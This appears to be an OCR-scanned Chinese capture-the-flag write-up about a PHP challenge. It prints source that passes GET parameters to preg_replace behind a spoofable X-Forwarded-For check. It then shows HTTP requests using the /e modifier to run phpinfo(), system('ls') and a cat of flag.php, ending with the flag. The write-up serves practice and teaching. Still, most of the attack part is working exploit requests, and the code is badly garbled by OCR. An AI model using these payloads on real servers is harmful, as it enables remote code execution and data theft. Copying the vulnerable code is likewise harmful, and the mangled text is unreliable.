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<?php

error_reporting(®0);

@session_start();
posix_setuid(1000);

?>
<IDOCTYPE HTML>
<html>

<head>

<meta charset="utf-8">

<meta name="renderer” content="webkit">

<meta http-equiv="X-UA-Compatible” content="I[E=edge,chrome=1">

<meta name="viewport” content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet” href="layui/css/layui.css” media="all’>

<title>¥x % 44 L <ftitle>

<meta charset="utf-8">

</head>



<body>

<ul class="“layui-nav’>

<li class="layui-nav-item layui-this”><a href="?page=index">z - & & & 45" rh Lr</a></li>
</ul>

<fieldset class="layui-elem-field layui-field-title” style="margin-top: 30px;”>

<legend>1x % 4l % </legend>

<ffieldset>

<table class="layui-hide” id="test’></table>

<script type="text/html” id="switchTpI">

<I- X Hf#) checked [FPRAS R 2 ER —>

<input type=“checkbox’ name="sex’ value="{{d.id}" lay-skin="switch” lay-text="J-|5<" lay-filter=“checkDemo” {{ d.id==1 0003 ?
‘checked’ : “ }}>

</script>

<script src="layui/layui.js” charset="utf-8"></script>

<script>

layui.use(‘table’, function() {

var table = layui.table,

form = layui.form;

table<span class="token punctuation">.</span><span class="token function">render</span><span class="token pu
nctuation">(</span><span class="token punctuation">{</span>
elem<span class="token punctuation">:</span> <span class="token string">'#test'</span><span class="token|
punctuation">,</span>
url<span class="token punctuation">:</span> <span class="token string">'/somrthing.json'</span><span cla
ss="token punctuation">,</span>
cellMinWidth<span class="token punctuation">:</span> <span class="token number">80</span><span class="to|
ken punctuation">,</span>
cols<span class="token punctuation">:</span> <span class="token punctuation">[</span>
<span class="token punctuation">[</span>
<span class="token punctuation">{</span> type<span class="token punctuation">:</span> <span clas
s="token string">'numbers'</span> <span class="token punctuation">}</span><span class="token punctuation">,</spa
n>
<span class="token punctuation">{</span> type<span class="token punctuation">:</span> <span cla
ss="token string">'checkbox'</span> <span class="token punctuation">}</span><span class="token punctuation">,</s
pan>
<span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span cl|
ass="token string">'id'</span><span class="token punctuation">,</span> title<span class="token punctuation">:</s
pan> <span class="token string">'ID'</span><span class="token punctuation">,</span> width<span class="token punc
tuation">:</span> <span class="token number">100</span><span class="token punctuation">,</span> unresize<span cl
ass="token punctuation">:</span> <span class="token boolean">true</span><span class="token punctuation">,</span>,
sort<span class="token punctuation">:</span> <span class="token boolean">true</span> <span class="token punctua
tion">}</span><span class="token punctuation">,</span>
<span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span cl|
ass="token string">'name'</span><span class="token punctuation">,</span> title<span class="token punctuation">:<
/span> <span class="token string">'¥ &% '</span><span class="token punctuation">,</span> templet<span class="to
ken punctuation">:</span> <span class="token string">'#nameTpl'</span> <span class="token punctuation">}</span><
span class="token punctuation">,</span>
<span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span cl|
ass="token string">'area'</span><span class="token punctuation">,</span> title<span class="token punctuation">:<
/span> <span class="token string">'[X§'</span> <span class="token punctuation">}</span><span class="token punct
uation">,</span>
<span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span cl|
ass="token string">'status'</span><span class="token punctuation">,</span> title<span class="token punctuation">|
:</span> <span class="token string">'4EH k% '</span><span class="token punctuation">,</span> minWidth<span class
="token punctuation">:</span> <span class="token number">120</span><span class="token punctuation">,</span> sort

<span class="token punctuation">:</span> <span class="token boolean">true</span> <span class="token punctuation"




<span class="token punctuation">{</span> field<span class="token punctuation">:</span> <span cl
ass="token string">'check'</span><span class="token punctuation">,</span> title<span class="token punctuation">:
</span> <span class="token string">'¥&&JIK" '</span><span class="token punctuation">,</span> width<span class="tq
ken punctuation">:</span> <span class="token number">85</span><span class="token punctuation">,</span> templet<s
pan class="token punctuation">:</span> <span class="token string">'#switchTpl'</span><span class="token punctuat
ion">,</span> unresize<span class="token punctuation">:</span> <span class="token boolean">true</span> <span cla
ss="token punctuation">}</span>
<span class="token punctuation">]</span>
<span class="token punctuation">]</span><span class="token punctuation">,</span>
page<span class="token punctuation">:</span> <span class="token boolean">true</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuati
on">;</span>
<span class="token punctuation">}</span><span class="token punctuation"”>)</span><span class="token punctuation">
;</span>
</span><span class="token tag"><span class="token tag"><span class="token punctuation">&1t;/</span>script</span>
<span class="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>script</span><span cl
ass="token punctuation">&gt;</span></span><span class="token script language-javascript">
layui<span class="token punctuation">.</span><span class="token function">use</span><span class="token punctuati
on">(</span><span class="token string">'element'</span><span class="token punctuation">,</span> <span class="tok
en keyword">function</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <spa
n class="token punctuation">{</span>
<span class="token keyword">var</span> element <span class="token operator">=</span> layui<span class="token|
punctuation">.</span>element<span class="token punctuation">;</span> <span class="token comment">//SfiffJhoveril
R YCRPAETRE, K fielement i< /span>
<span class="token comment">//¥ilf S fidi</span>
element<span class="token punctuation">.</span><span class="token function">on</span><span class="token punc
tuation">(</span><span class="token string">'nav(demo)'</span><span class="token punctuation">,</span> <span cla
ss="token keyword">function</span><span class="token punctuation">(</span>elem<span class="token punctuation">)<
/span> <span class="token punctuation">{</span>
<span class="token comment">//console.log(elem)</span>
layer<span class="token punctuation">.</span><span class="token function">msg</span><span class="token p
unctuation">(</span>elem<span class="token punctuation">.</span><span class="token function">text</span><span cl
ass="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span>
<span class="token punctuation">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuati
on">;</span>
<span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">
;</span>
</span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>script</span>
<span class="token punctuation">&gt;</span></span>

<?php

$page =$_GET[page];

if (isset($page)) {

if (ctype_alnum($page)) {
?>




<span class="token tag"><span class="token tag"><span class="token punctuation">&1t;</span>br</span> <span class
="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punct
uation">&1t;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span cl
ass="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span
></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <sp
an class="token punctuation">/&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&1t;</span>div</span><span class
="token style-attr language-css"><span class="token attr-name"> <span class="token attr-name">style</span></span
><span class="token punctuation">="</span><span class="token attr-value"><span class="token property">text-align
</span><span class="token punctuation">:</span>center</span><span class="token punctuation">"</span></span><span
class="token punctuation">&gt;</span></span>

<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>p</span> <span cl|
ass="token attr-name">class</span><span class="token attr-value"><span class="token punctuation">=</span><span ¢
lass="token punctuation">"</span>lead<span class="token punctuation">"</span></span><span class="token punctuati
on">&gt;</span></span><span class="token prolog">&lt;?php echo $page; die();?&gt;</span><span class="token tag">
<span class="token tag"><span class="token punctuation">&1t;/</span>p</span><span class="token punctuation">&gt;
</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class
="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token punct

uation">&1t;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><span cl

ass="token tag"><span class="token punctuation">&1lt;</span>br</span> <span class="token punctuation">/&gt;</span
></span><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <sp
an class="token punctuation">/&gt;</span></span>

<?php
lelse{

?>

<br /><br /><br /><br />

<div style="text-align:center”>
<p class="lead™>

<?php



if (strpos($page, 'input') &gt; @) {
die();

if (strpos($page, 'ta:text') &gt; 0) {
die();

if (strpos($page, 'text') &gt; 0) {
die();

if ($page === 'index.php') {
die('ok');

include($page);
die();
?&gt;</span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;/</span>p</span><span cl|
ass="token punctuation">&gt;</span></span>
<span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>br</span> <span c
lass="token punctuation">/&gt;</span></span><span class="token tag"><span class="token tag"><span class="token p
unctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</span></span><span class="token tag"><spa
n class="token tag"><span class="token punctuation">&lt;</span>br</span> <span class="token punctuation">/&gt;</
span></span><span class="token tag"><span class="token tag"><span class="token punctuation">&1t;</span>br</span>
<span class="token punctuation">/&gt;</span></span>

<?php
1}
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if (§_SERVER['HTTP_X_FORWARDED_FOR’] ===127.0.0.1") {

echo "&lt;br &gt;Welcome My Admin ! &1t;br &gt;";

$pattern = $ GET[pat];
$replacement = $ GET[rep];
$subject = $_GET[sub];

if (isset($pattern) &amp;&amp; isset($replacement) &amp;&amp; isset($subject)) {
preg_replace($pattern, $replacement, $subject);

</body>
</html>
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if ($_SERVER['HTTP_X_FORWARDED FOR'] === '127.0.0.1') {

echo "<span class="token tag"><span class="token tag"><span class="token punctuation">&1lt;</span>br</sp

$pattern = $ GET[pat];
$replacement = $ GET[rep];
$subject = $ GET[sub];

if (isset($pattern) &amp;&amp; isset($replacement) &amp;&amp; isset($subject)) {
preg_replace($pattern, $replacement, $subject);

}elseq{
die();




It Ab 17 e preg_replacerfi ¥, SR IMNARZ 75 7FEE fr 2 TE NI

PREC/E . 8K subject UL patternfti#64>,  Llreplacementiff 4T # 4.

IAb B 25 22 1 2 preg_replace BEH fe #ix0, SEUCIEHAT IR AT, UL, patTE?FDsub{E*HIEJ, rep RIS EE & HAT
XFFHU#127.0.0.12 )5, GETHER=/"2%. X B A T preg_replacemfi$. I H&A xfpatib47id g, FrbATT LAE N "fe" fil &
i fi % J5 replacement 15 Al & 215 BN HAT I, & 24T — T phpinfo

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]

EIET findex.php?pat=/test/e8rep=phpinfo()&sub=test HTTP/1.1 I % L
ost: .198.29.45:43970

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0)
Gecko/20100101 Firefox/68.0
Accept: text/html application/xhtml+xml application/xml;q=0.9,*/*:q=0.8

;:fgzt,_ztsgggig;;—w;q:O.T,Zh—HK;q:0.5,en—US;q=0.3,en;q:0.2 P H P Ve rSion 5-5 . 9'1 u bu ntU4-22

Accept-Encoding: gzip, deflate

Connection: keep-alive

Cookie: PHPSESSID=4m6pj7tvliktvec0cmf13b4qa63
Upgrade-Insecure-Requests: 1

Carhi Confil FaiagE=0 System Linux a43bcBdBfaBS 4.4.0-131 -generic #157-Ubuntu SMP Thu Jul 12 15:51:36 UTC 2018 xB6_64
X-forwarded-for: 127.0.0.1 SilcOate Al R
Server APl Apache 2.0 Hancller
Virtual disabled
Directory
Support
Configuration | fetciphpSfapache2
File {(php.ini)
Path
AT B
SR 5 18 system(“1s”) 2R SR B 14 H 5%
Request Response
| Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render }
|GET findex php?pat=/test/e&rep=system("ls")&sub=test HTTP/1.1 I 4 //SHilhoverdR, “HFEFIEE, FEEelementi®it E
HosT TTT. 198294543970 JIERSiES
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) element.on('nav(demo)’, function(elem) {
|Gecko/20100101 Firefox/68.0 //console.log(elem)
iAccept: text/html, application/xhtml+xml application/xml;q=0.9,*/*,q=0.8 layer.msg(elem.text());
|Accept-Language: h:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 n:
Accept-Encoding: gzip, deflate </script>
| Connection: keep-alive
| Cookie: PHPSESSID=4m6pj7tviktvecOcmf13b4qab3 <br >Welcome My Admin! <br >css
Upgrade-Insecure-Requests: 1 index.html
Cache-Control: max-age=0 index.php
X-forwarded-for: 127.0.0.1 I js
lavui




Odo.phd

start.s
{IE.png
</body >

< /html>

f Hediti N H 530 A
system(“cd+s3chahahaDir/flag+%26%26+Is”)
N T BRI R, ARASREAE F SRR RRTT, TR+, %26%26 9&&, BB M AT Ay A AT I, 4k IS TH K dy

4.
GET [a 1
tindex.php?pat=itestie&rep=system["cd+ s3chahahaDir/flag+ %26%26 1
|s")&sub=test HTTP/1.1 page: true
Host: 111.198.29.45:43970 n:
User-Agent: Moxzilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) :
Gecko/20100101 Firefox/68.0 </script>
Accept: <script>
text/html.application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 layui.use('element’, function() {
Accept-Language: var element = layui.element;
zh-CN zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 [/Shihoverd R, —HReFhEE, =& kiflelementiEiR
Accept-Encoding: gzip, deflate WE = =5
Connection: keep-alive element.on('nav(demo)’, function(elem) {
Cookie: PHPSESSID=4m6pj7 tvlktvecOcmf13b4qa63 J/console.log(elem)
Upgrade-Insecure-Requests: 1 layer.msg(elem.text();
= N zage= n:
-forwarded-for: 127.0.0.1 N;
</script>
<br >Welcome My Admin! <ibr >flag.php
</body>
</html>
|
¢ Je 1 F catfi 4 $ B flag.php A 1) SC A4
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
GET E element.on('nav(demo)’, function(elem) {
tindex.php?pat:/test[e&rep:system(“}:at+ s3chahahabir/flag/flag.php I //console.log(elem)
HR A layer.msg(elem.text());
Host: 111.198.29.45:43970 B
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) n:
Gecko/20100101 Firefox/68.0 </script>
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*,q=0.8 <br >Welcome My Admin! <br ><7?php
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7 zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 $flag = 'cyberpeace{9bf346623c69ace716d5a3252c2c5892}";
Accept-Encoding: gzip, deflate
Connection: keep-alive 7>
Cookie: PHPSESSID=4m6pj7tviktvecOcmf13bdga63 css
Upgrade-Insecure-Requests: 1 index.html
’.ﬁammml_ma_l— : sage= index.php
X-forwarded-for: 127.0.0.1 js
layui
logo.png
s3chahahaDir
start.sh
RE.png
M Ih3kEflag .
JSEAT
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